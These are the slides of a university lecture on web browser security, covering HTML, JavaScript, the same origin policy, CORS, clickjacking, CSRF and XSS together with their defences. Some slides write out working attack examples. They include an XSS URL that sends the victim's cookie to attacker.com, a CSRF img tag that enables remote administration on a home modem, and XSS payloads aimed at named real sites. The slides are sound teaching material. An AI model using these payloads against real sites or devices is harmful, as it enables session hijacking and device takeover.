Web Browser Security

1. James Walden Northern Kentucky University Web Browser Security

2. CSC 666: Secure Software Engineering Topics • HTML • JavaScript, JSON, and the DOM • Same Origin Policy (SOP) • Extensions and Plug-ins • Browser Fingerprinting • Clickjacking • Cross-Site Request Forgery (CSRF) • Cross-Site Scripting (XSS) • Content Security Policy (CSP)

3. CSC 666: Secure Software Engineering HTML • Hierarchical tree structure of tags. • Tags have optional name=value parameters. • Text nodes may exist between tags. • Special characters: < > “ ‘ &

4. CSC 666: Secure Software Engineering Entity Encoding

5. CSC 666: Secure Software Engineering HTML vs. XHTML HTML • Generously interprets tags, with many variants between browsers. • Interprets string between certain tags as non-HTML text: <style>, <script>, <textarea>, <xmp>. XHTML • Strict: tags are case sensitive; all tags must be closed and properly nested; attributes must be quoted; etc. • Supports raw text inside any tag via <![CDATA[ … ]]> • Can incorporate sections using other XML-based markup languages like MathML.

6. HTTP/HTML Integration Why express HTTP headers in HTML? • HTML document loaded from local file. • HTML document received via non-HTTP protocol. How to express HTTP headers in HTML? • http-equiv meta tags <meta http-equiv=“Content-Type” content=“text/html;charset=utf-8”> Dangers of HTTP/HTML integration • Undefined behavior when meta tags conflict with each other or with HTTP headers. • Browser has already made some decisions about how to process document. Can’t change content type from HTML or change location to load content from.

7. Example from The Tangled Web HTML Parsing Complexity 1: IE will allow a NUL to be inserted. 2, 4: Can replace space with vertical tab (0x0B) or form feed(0x0C) or UTF-8 nb space(0xA0) in Opera. 2: Whitespace can be replaced by /. 3: NULs or whitespace may be inserted. 5: IE accepts backtick(`) as well as quotes. 6: Whitespace after quotes can be skipped.

8. Example from Web Application Obfuscation HTML Obfuscation Techniques • Fake invalid namespaces • Invalid but working attribute separators • Decimal and hex entities inside HTML attributes • CSS entities inside the style attribute • Double encoded entities inside the style attribute • Backticksas attribute value delimiters • Invalid but working escapings • JavaScript Unicode entities in onbeginevent handler • Crippled decimal entities inside onbeginevent handler • Invalid garbage before the ending tag Snippet above runs JavaScript using following obfuscation techniques.

9. CSC 666: Secure Software Engineering HTML Input Validation • Don’t accept HTML input. • The best approach if you can choose it. • Whitelist validation with a parser. • Use HTML (or XML) parser to create in-memory representation of input string. • Remove all unknown or undesired tags, attributes, and values. • Serialize in-memory data structure to a well-formed correctly escaped HTML document.

10. CSC 666: Secure Software Engineering HTML Forms <form> tag • action=URL destination for form input. • method=get sends input as query string parameters • method=post sends input as data in POST method <input> tag • name=name of input. • type attribute specifies checkbox, radio, text, etc.

11. CSC 666: Secure Software Engineering Hidden Fields <input type=“hidden” name=“user” value=“james”> • Used to propagate data between HTTP requests since protocol is stateless. • Clearly visible in HTML source. • User can modify hidden values since form can be copied, modified to change hidden fields, then used to invoke script.

12. CSC 666: Secure Software Engineering HTTP POST Request POST http://www.example.com/ HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7 Accept: text/html, image/png, */* Accept-Language: en-us,en;q=0.5 Method URL Protocol Version Headers Blank Line name=Jane+Doe&sex=female&color=green&over6feet=true&over200pounds=false&athleticability=NA POST data

13. CSC 666: Secure Software Engineering JavaScript Common web scripting language. • Standardized as ECMAScript (currently version 5). • Runs in browser via a Just-In-Time (JIT) compiler. Can be included in a web page via • Inline <script> blocks. • Remote scripts via <script src=“…> • javascript: URLs in HTML params and CSS. • CSS expression(…) syntax • Event handlers (onload, onclick, onerror, …) • Timers (setTimeout, setInterval) • eval(…) calls from within JavaScript.

14. JavaScript Security Issues Each <script> block is processed individually in the order encountered on page. • Syntax error won’t stop later <script>s from running. • All scripts can set variables in global namespace. • Scripts can replace built-in classes and functions. Nested script inclusion requires nested encoding <div onclick=“setTimeout(‘do_stuff(\’user_string\’)’,1)”> • HTML parser extracts onclick and puts in DOM. • When button clicked, timeout is set. • When timeout triggered, inside script executed. To be secure, double-encode user_string with JS backslashes, then encode with HTML entities.

15. JSON JSON = JavaScript Object Notation • Lightweight data interchange format. • Based on a subset of JavaScript, but is • Language independent; libraries for any language. • Standards: RFC 4627 and ECMA-404. JSON parsing • Use JSON.parse(…) • Do not use eval(…) as it will execute any JavaScript code, not just parse JSON.

16. JSON Arrays Arrays are lists of items • Delimited by square brackets: [] • Items in array separated by commas • Items can be of different data types Array Examples • [1, 2, 3] • [“one”, “two”, “three”] • [1, “two”, 3] • [ 1, “two”, [1,2,3] ]

17. JSON Objects Objects are associative arrays • Delimited by curly braces: {} • Key/value pair syntax is “key” : value • Pairs separated by commas • Values can be objects, arrays, or scalar types. Object Examples • { “spam” : “eggs” } • { “x” : 1, “y” : 2, “z” : 3 } • { “hostname” : “kosh”, “ips” : [ “10.0.0.1”, “172.31.0.1”], “age” : 3 }

18. JSON Example { "firstName": "John", "lastName": "Smith", "age": 25, "address": { "streetAddress": "21 2nd Street", "city": "New York", "state": "NY", "postalCode": 10021 }, "phoneNumbers": [ { "type": "home", "number": "212 555-1234" }, { "type": "fax", "number": "646 555-4567" } ] }

19. CSC 666: Secure Software Engineering Document Object Model (DOM) • DOM connects JavaScript and CSS to HTML documents. • JavaScript can read and modify every element of HTML. • Dynamic HTML (DHTML) = DOM + JavaScript + CSS. • Capability used by threats in cross-site scripting attacks.

20. CSC 666: Secure Software Engineering XMLHttpRequest (XHR) API JavaScript API to request data from server. • Without loading a new web page in browser. • Can be done asynchronously so web application UI responsive during loads. • Resources typically XML or JSON data. Allows highly interactive web applications • AJAX = Asynchronous JavaScript and XML • Examples: Google Maps, Gmail, etc. • Can only request resources from server that JavaScript came from (Same Origin Policy.)

21. CSC 666: Secure Software Engineering DHTML vs. Ajax

22. CSC 666: Secure Software Engineering Browser Storage • Why aren’t cookies enough? • Performance hit: included with every HTTP request. • Limited to about 4KB in size. • Flash storage • Local Stored Objects (LSOs) 100KB per domain. • Client can request more storage with user approval. • Web Storage (aka DOM Storage) • Standard supported by all browsers. • Key/value storage in string format. • 5MB of storage per origin. • WebSQL exists but is not supported by IE or FF.

23. CSC 666: Secure Software Engineering Same Origin Policy for DOM Policy: Given any two JavaScript execution contexts, one should be able to access the DOM of the other only if protocols, DNS names, and port numbers of their documents match exactly. • Cannot isolate home pages of different users. • Disallows communication between login.example.com and payments.example.com.

24. CSC 666: Secure Software Engineering document.domain • JavaScript property that permits two cooperating web sites that share a common TLD to agree to be considered same domain for SOP checks. • Example: • On login.example.com and payments.example.com • document.domain = “example.com”

25. CSC 666: Secure Software Engineering postMessage() API postMessage() API • HTML 5 extension that permits secure communication between client scripts from different domains. Example • On login.example.com (sender) parent.postMessage(key=val, ‘http://payments.example.com) • On payments.example.com (receiver) addEventListener(“message”, info, false) If (msg.origin == “https://login.example.com”) { // use msg.data that was sent by login.example.com }

26. CSC 666: Secure Software Engineering Same Origin Policy for XHR • XHR requests work like HTTP except • XHR URL must match origin of document • document.domain setting is ignored • XHR limited on a per-browser basis on • HTTP methods (none allow TRACE) • HTTP headers (none allow Host, Referer, Content-Length)

27. CSC 666: Secure Software Engineering Cross-Origin Resource Sharing • CORS allows secure cross-domain requests. • Simple: GET or POST text/plain, no custom headers • Preflighted: Different request, body types + headers • Cookies are not sent by browser with either type. • Simple Request Mechanism • HTTP request specifies its origin with a header: • Origin: URL • If request is allowed, HTTP response is • Access-Control-Allow-Origin: URL or • Access-Control-Allow-Origin: * • * is for public resources and ignores SOP entirely.

28. CSC 666: Secure Software Engineering XHR+CORS Interaction

29. CSC 666: Secure Software Engineering CORS Preflight Mechanism • Preflight OPTIONS HTTP request • Origin: URL • Access-Control-Request-Method: method • Access-Control-Request-Headers: optional header with a ,-separated list of custom headers being used. • Preflight HTTP response • Access-Control-Allow-Origin: URL • Access-Control-Allow-Methods: ,-separated list of methods. • Access-Control-Allow-Headers: optional header with a ,-separated list of headers permitted by server. • Access-Control-Max-Age: time to cache preflight response • Access-Control-Allow-Credentials: true if want to permit authentication credentials to be sent.

30. Cookie and DOM SOP Interaction Path scope used by cookie SOP, but not by DOM. • JavaScript in same domain can overwrite cookies regardless of path scope. An attack • User browses to secure.example.com, which uses SESSIONID cookie for authentication. • Attacker on test.example.com installs script. • User browses to test.example.com, runs script. • Script sends many cookies, overflowing cookie jar. • Script sets SESSIONID token for *.example.com. • User uses attacker SESSIONID on next access of secure.example.com.

31. CSC 666: Secure Software Engineering Pseudo-URLs • Allow inclusion of data directly in HTML pages. • about:, data:, and javascript: are pseudo-URLs. • Each browser treats pseudo-URL origins differently. • Uses of Pseudo-URLs • about:blank is typically used to create blank DOM in iframes for scripts to control. • <imgsrc=“data:image/jpeg;base64,/9j/4AAQSk…”> • <iframe src=“data:text/html;<h1>Hello world</h1>”> • <iframe src=“javascript:alert(‘Hello world’)”>

32. CSC 666: Secure Software Engineering Cross-Site Attacks Target users of application. • Use application feature to reach other users of application, bypassing same origin policy. • Obtain assets of individual users rather than assets of entire application. One of the most common types of attack. • Clickjacking • Cross-Site Request Forgery (CSRF) • Cross-Site Scripting (XSS)

33. CSC 666: Secure Software Engineering Clickjacking • Any page can embed any other page inside a frame. • Malicious pages can hide that fact by overlaying display elements. • Clicks in frame are delivered to embedded application with cached credentials. The Tangled Web

34. CSC 666: Secure Software Engineering Clickjacking Defences • X-Frame-Options header • DENY: prevent any site from framing content • SAMEORIGIN: only same origin can frame. • ALLOW-FROM: only specified URL can frame. • CSP2 frame-ancestors directive • Same capabilities using CSP directives. • Frame breaking scripts • Classic frame breaking • if(top != self) top.location.replace(location); • Malicious sites can stop, so frame breaking evolves. • Frame sandboxing can stop any frame breaking.

35. CSC 666: Secure Software Engineering Cross-Site Request Forgery A confused deputy attack. • Exploits the trust that an application has with authenticated sessions. Attack scenario: • User authenticates to web application. • User browses to another site containing a malicious CSRF attack link to web app. • iframe, img, link, bgsound, etc. • Browser accesses web app with cached credentials, performing whatever action specified by the link.

36. CSC 666: Secure Software Engineering Example: DSL Modem Attack Home network devices are administered via web apps. • Standard local IPs. Attacker inserts 1-pixel img tag on page. • src is URL of form submission, giving remote admin. No password needed. • Software owner assumed device on trusted local network. • Of course, browser is on the local network too. <img src="http://192.168.1.254/Forms/remoteRES_1?NSS_RemotePassword=blehblah&NSS_EnableWANAdminAccessRES=on&timeoutDisable=0&Enable=Enable" alt="" width="1" height="1" />

37. CSC 666: Secure Software Engineering Mitigating CSRF Require POST for data modifications, but • Many frameworks automatically fetch both types of parameters or convert one to other. • Hidden POST requests can be created with scripts. Check referer header. • But users can block or forge referer header, so it cannot be relied on for everyone. Use nonces. • Random token inserted as hidden parameter, and thus submitted with form. • But XSS can read form, so a combined XSS + CSRF attack can bypass this defense.

38. CSC 666: Secure Software Engineering Mitigating CSRF Re-authenticate for high value transactions. • Use out of band authentication if possible. Expire session IDs quickly. • But there will always be some time period in which a CSRF attack will work. Automate defenses with tools. • CSRFGuard to insert nonces. • CSRFTester to verify application.

39. CSC 666: Secure Software Engineering Cross-Site Scripting (XSS) Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing. Impact of XSS • Account hijacking. • Browser hijacking (malware hosting.) • Information leakage (stored form values, etc.) • Virtual defacement.

40. CSC 666: Secure Software Engineering XSS Example Web application sends browser to an error page after user clicks submit. https://example.com/error.php?message=Sorry%2C+an +error+occurred

41. CSC 666: Secure Software Engineering XSS Example The error message is “reflected” back from the Web server to the client in a web page.

42. CSC 666: Secure Software Engineering XSS Example We can replace the error with JavaScript https://example.com/error.php?message=<script>alert(‘xss’);</script>

43. CSC 666: Secure Software Engineering Exploiting the Example • User logins in and is issued a cookie • Attacker feed the URL to user https://example.com/error.php?message=<script>var+i=new+Image;+i.src=“http://attacker.com/”%2bdocument.cookie;</script>

44. CSC 666: Secure Software Engineering Why does XSS Work? Same-Origin Policy • Browser only allows Javascript from site X to access cookies and other data from site X. • Attacker needs to make attack come from site X. Vulnerable Server Program • Any program that returns user input without filtering out dangerous code.

45. CSC 666: Secure Software Engineering Reflected XSS Attack Scenario • User clicks on link. • Injected script returned by one-time message from vulnerable site. • User browser executes injected code. Limitations • Non-persistent. Only works when user clicks. • Most common type of XSS (~75%).

46. CSC 666: Secure Software Engineering Anatomy of an XSS Attack Web Server 8. Attacker hijacks user session. 1. Login Attacker User 2. Cookie 5. XSS URL 3. XSS Attack 6. Page with injected code. 7. Browser runs injected code. 4. User clicks on XSS link. Evil site saves ID.

47. CSC 666: Secure Software Engineering XSS URL Examples http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script> http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script> http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1 http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=_%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

48. CSC 666: Secure Software Engineering Stored XSS Injected script stored in • Post or comment. • Review. • Uploaded file. User views page with injected script. • Malicious action is taken while user is logged into site where malware found. • Not technically cross-site. Attack persists until injected code deleted.

49. CSC 666: Secure Software Engineering Browser Exploitation Framework BeEF hooks browsers via XSS exploit • Can use as stored or reflected XSS. • Hooked browsers are bots controlled by BeEF. Exploitation modules run on hooked browsers to • View browsing history. • Identify authenticated sessions. • Phishing and other social engineering attacks. • Port scans of network browser is running on. • Reverse proxy into network browser is running on. • Use Metasploit.

50. CSC 666: Secure Software Engineering BeEF Screenshot